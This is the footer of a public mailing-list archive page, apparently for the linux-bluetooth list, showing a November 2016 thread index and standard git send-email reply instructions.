2016-11-15 9:18 ` Luiz Augusto von Dentz
2016-11-15 9:25 ` op7ic \x00
2016-11-15 10:41 ` François Beaufort
2016-11-15 10:51 ` op7ic \x00
2016-11-15 11:51 ` op7ic \x00
2016-11-15 12:01 ` Johan Hedberg [this message]
2016-11-15 12:12 ` op7ic \x00
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20161115120134.GA17313@x1c \
--to=johan.hedberg@gmail.com \
--cc=beaufort.francois@gmail.com \
--cc=linux-bluetooth@vger.kernel.org \
--cc=luiz.dentz@gmail.com \
--cc=op7ica@gmail.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.